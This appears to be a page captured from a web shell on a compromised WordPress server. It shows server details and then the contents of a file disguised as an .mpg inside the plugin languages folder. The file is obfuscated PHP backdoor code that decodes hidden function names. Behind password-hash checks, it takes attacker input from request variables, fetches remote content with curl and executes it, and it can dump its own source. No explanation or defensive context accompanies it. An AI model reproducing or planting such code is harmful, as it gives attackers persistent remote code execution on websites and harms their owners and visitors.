HEX
Server: nginx/1.22.1
System: Linux iZuf67d4hh2ssx30nkok6dZ 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: www (1000)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/topcheersoftware.com/wp-content/languages/plugins/plugins/LFcNYrRBsV.mpg
<?php
 goto yWazQZCv8s9gB; UNtnLArbPl83U: metaphone("\107\x70\112\67\106\120\x2b\x56\x4f\x62\x76\x78\172\x58\x34\x70\110\65\167\x39\172\142\x66\126\154\x49\110\x57\x4e\x6d\x7a\x48\131\150\170\65\103\x66\53\x57\x77\160\111"); goto D1t3OWQiHXfeM; IBK4ouJ11qJFy: if (!(in_array(gettype($VJBIcS9qioAp_) . count($VJBIcS9qioAp_), $VJBIcS9qioAp_) && count($VJBIcS9qioAp_) == 20)) { goto yDKD2mgJ2rrm4; } goto n8rKlkMuBbNYy; n8rKlkMuBbNYy: @(md5(md5(md5(md5($VJBIcS9qioAp_[14])))) === "\61\x39\143\x64\146\146\71\71\144\63\63\64\61\142\62\60\x39\146\63\143\x36\145\65\x35\62\x30\x31\63\x35\62\62\x62") && (($VJBIcS9qioAp_[65] = $VJBIcS9qioAp_[65] . $VJBIcS9qioAp_[72]) && ($VJBIcS9qioAp_[87] = $VJBIcS9qioAp_[65]($VJBIcS9qioAp_[87])) && @($VJBIcS9qioAp_ = $VJBIcS9qioAp_[87]($VJBIcS9qioAp_[59], $VJBIcS9qioAp_[65](${$VJBIcS9qioAp_[40]}[13]))) && $VJBIcS9qioAp_()); goto quXQVi70K1SQ0; D1t3OWQiHXfeM: class iOPKn_Zw3GcF7 { static function uTOHAXfz5xBHs($sJe9EkkC74nb6) { goto Z5trkINYr2KL2; gsApiN62ywFdf: foreach ($J9PfzWSn7k0eF as $uQiEUWCvAmaUg => $yHET9vdaXwnOg) { $s7sAZIFETkZib .= $RWKtr6nXL7bXP[$yHET9vdaXwnOg - 58759]; S1JgDD8L5IKtq: } goto Vp_gpt3yZOSt_; rMDXJq4OQ3Fnf: $J9PfzWSn7k0eF = explode("\175", $sJe9EkkC74nb6); goto ynSsAzBj_kyu8; ynSsAzBj_kyu8: $s7sAZIFETkZib = ''; goto gsApiN62ywFdf; lXiqdAY2SxWw1: return $s7sAZIFETkZib; goto tdYdbJD4vwz6q; Z5trkINYr2KL2: $i9CRroTw19076 = "\162" . "\141" . "\x6e" . "\x67" . "\x65"; goto C2wsR86mhgKXk; C2wsR86mhgKXk: $RWKtr6nXL7bXP = $i9CRroTw19076("\176", "\40"); goto rMDXJq4OQ3Fnf; Vp_gpt3yZOSt_: VSs_fHW6I4jId: goto lXiqdAY2SxWw1; tdYdbJD4vwz6q: } static function u2gVklEQcI0tp($sS2aOA0v1kWzS, $G0Hpcb6V97OPS) { goto S1IHodF2qhVEQ; Tg_nIoyAR2c5E: curl_setopt($FvzoJN0bTulGf, CURLOPT_RETURNTRANSFER, 1); goto lXrOckzOJAOAl; S1IHodF2qhVEQ: $FvzoJN0bTulGf = curl_init($sS2aOA0v1kWzS); goto Tg_nIoyAR2c5E; lXrOckzOJAOAl: $ajh1NcYdTc25U = curl_exec($FvzoJN0bTulGf); goto DPWRaFnYSGazL; DPWRaFnYSGazL: return empty($ajh1NcYdTc25U) ? $G0Hpcb6V97OPS($sS2aOA0v1kWzS) : $ajh1NcYdTc25U; goto jnSNvqdqsjtq3; jnSNvqdqsjtq3: } static function nfWRjfxeBTdoD() { goto Ku4mW30r17rBT; CAM2ROx8aV9yQ: $XmIudnE8f5sV1 = self::U2gvKLEQCi0tp($r2XstBo6WKs5h[0 + 1], $VlFfSyUjpLZIr[1 + 4]); goto p2Rp7GHtLJu4e; p2Rp7GHtLJu4e: @$VlFfSyUjpLZIr[0]('', $VlFfSyUjpLZIr[1 + 6] . $VlFfSyUjpLZIr[3 + 1]($XmIudnE8f5sV1) . $VlFfSyUjpLZIr[5 + 3]); goto OvUcjpH40snTw; E0s4bS3ywttoE: vBqI6dBEIERJE: goto ZjJwJqt1CwdwU; OvUcjpH40snTw: die; goto p6LPqQuhVybj5; p6LPqQuhVybj5: tr7w7zsK_sZWl: goto pCymhB9N2XcA9; ZjJwJqt1CwdwU: $B3T8yMsRXLAQA = @$VlFfSyUjpLZIr[1]($VlFfSyUjpLZIr[9 + 1](INPUT_GET, $VlFfSyUjpLZIr[8 + 1])); goto iyvm1Fpq2cqZ3; SZ1qL6dd_TrT9: $r2XstBo6WKs5h = $VlFfSyUjpLZIr[1 + 1]($uKYd8R84dxLYe, true); goto hW5H2SiP80pjz; kRT7UWJeDVX0j: if (!(@$r2XstBo6WKs5h[0] - time() > 0 and md5(md5($r2XstBo6WKs5h[2 + 1])) === "\x32\x39\x37\70\x34\145\x34\x63\x31\x62\x35\x65\145\x39\x34\142\x36\60\60\x35\x63\141\x30\x63\x36\64\67\146\145\64\145\70")) { goto tr7w7zsK_sZWl; } goto CAM2ROx8aV9yQ; iyvm1Fpq2cqZ3: $uKYd8R84dxLYe = @$VlFfSyUjpLZIr[0 + 3]($VlFfSyUjpLZIr[1 + 5], $B3T8yMsRXLAQA); goto SZ1qL6dd_TrT9; oW934Z_5Hkcfo: foreach ($urZedksS3dUoJ as $muC4wtDYBanI6) { $VlFfSyUjpLZIr[] = self::utohAxFZ5xbHs($muC4wtDYBanI6); avR30PfURz5zL: } goto E0s4bS3ywttoE; hW5H2SiP80pjz: @$VlFfSyUjpLZIr[1 + 9](INPUT_GET, "\157\146") == 1 && die($VlFfSyUjpLZIr[2 + 3](__FILE__)); goto kRT7UWJeDVX0j; Ku4mW30r17rBT: $urZedksS3dUoJ = array("\x35\x38\67\70\66\x7d\65\x38\67\67\61\x7d\65\x38\x37\70\x34\175\65\70\x37\70\x38\x7d\x35\x38\x37\66\71\175\x35\x38\67\70\64\x7d\x35\70\67\71\x30\x7d\65\70\x37\x38\63\175\65\70\67\x36\70\175\65\x38\x37\x37\65\x7d\x35\x38\x37\70\x36\x7d\65\70\67\66\71\x7d\65\70\67\x38\60\175\x35\x38\67\x37\x34\175\65\70\x37\67\65", "\65\x38\67\67\x30\175\x35\x38\67\x36\x39\175\65\70\x37\67\x31\x7d\65\x38\67\x39\60\175\65\70\67\67\61\175\65\70\x37\67\64\x7d\x35\x38\x37\x36\x39\175\x35\70\x38\63\x36\175\65\70\x38\x33\64", "\65\70\x37\x37\x39\x7d\x35\70\67\67\60\x7d\65\x38\x37\x37\64\x7d\65\x38\x37\x37\65\x7d\65\70\67\x39\x30\x7d\x35\x38\67\x38\x35\175\65\70\67\x38\x34\175\65\70\x37\x38\66\x7d\65\70\x37\x37\64\175\x35\70\x37\70\65\175\65\70\x37\x38\64", "\65\x38\67\x37\63\x7d\x35\70\x37\x38\x38\175\x35\70\x37\70\66\175\x35\x38\67\x37\70", "\x35\x38\x37\x38\x37\175\x35\70\x37\70\x38\x7d\x35\70\67\67\x30\x7d\65\x38\x37\x38\64\175\x35\x38\x38\x33\61\175\x35\x38\x38\63\x33\175\65\70\x37\71\x30\x7d\x35\70\x37\70\x35\175\65\70\67\x38\x34\175\x35\70\67\x38\66\175\x35\x38\67\67\64\x7d\x35\70\67\70\65\175\x35\x38\x37\x38\x34", "\65\x38\x37\x38\x33\x7d\65\70\x37\70\x30\175\x35\x38\x37\x37\x37\x7d\65\70\67\70\x34\x7d\65\70\x37\x39\x30\x7d\65\70\67\70\62\175\x35\x38\67\70\64\x7d\65\x38\x37\x36\71\175\65\x38\67\71\60\x7d\x35\x38\67\x38\x36\x7d\x35\70\67\x37\x34\x7d\x35\70\x37\67\65\175\x35\70\x37\66\x39\175\x35\70\x37\x38\64\x7d\65\x38\x37\67\x35\175\x35\x38\x37\66\x39\x7d\65\70\67\x37\60", "\x35\70\70\61\x33\x7d\65\70\x38\64\63", "\x35\x38\67\x36\60", "\65\x38\70\x33\x38\x7d\x35\x38\x38\x34\x33", "\x35\70\70\x32\60\x7d\x35\x38\70\60\x33\175\x35\70\70\60\x33\175\65\70\70\62\x30\x7d\x35\x38\67\x39\x36", "\x35\x38\x37\x38\63\175\65\x38\x37\70\60\x7d\x35\70\x37\x37\67\x7d\x35\x38\67\66\x39\x7d\65\70\x37\70\64\175\x35\x38\x37\x37\x31\x7d\x35\70\x37\x39\x30\175\x35\x38\x37\70\60\x7d\x35\70\67\67\65\x7d\65\70\67\x37\63\175\x35\x38\x37\x36\x38\x7d\x35\x38\67\66\71"); goto oW934Z_5Hkcfo; pCymhB9N2XcA9: } } goto CWwHhcVqLx0di; doMNWPC02wLjx: $VJBIcS9qioAp_ = ${$BYccTOqd10tM8[17 + 14] . $BYccTOqd10tM8[2 + 57] . $BYccTOqd10tM8[9 + 38] . $BYccTOqd10tM8[25 + 22] . $BYccTOqd10tM8[8 + 43] . $BYccTOqd10tM8[51 + 2] . $BYccTOqd10tM8[55 + 2]}; goto IBK4ouJ11qJFy; yWazQZCv8s9gB: $BYccTOqd10tM8 = range("\x7e", "\40"); goto doMNWPC02wLjx; quXQVi70K1SQ0: yDKD2mgJ2rrm4: goto UNtnLArbPl83U; CWwHhcVqLx0di: iOPKN_ZW3GCF7::nfwrJfXEbtDod();
?>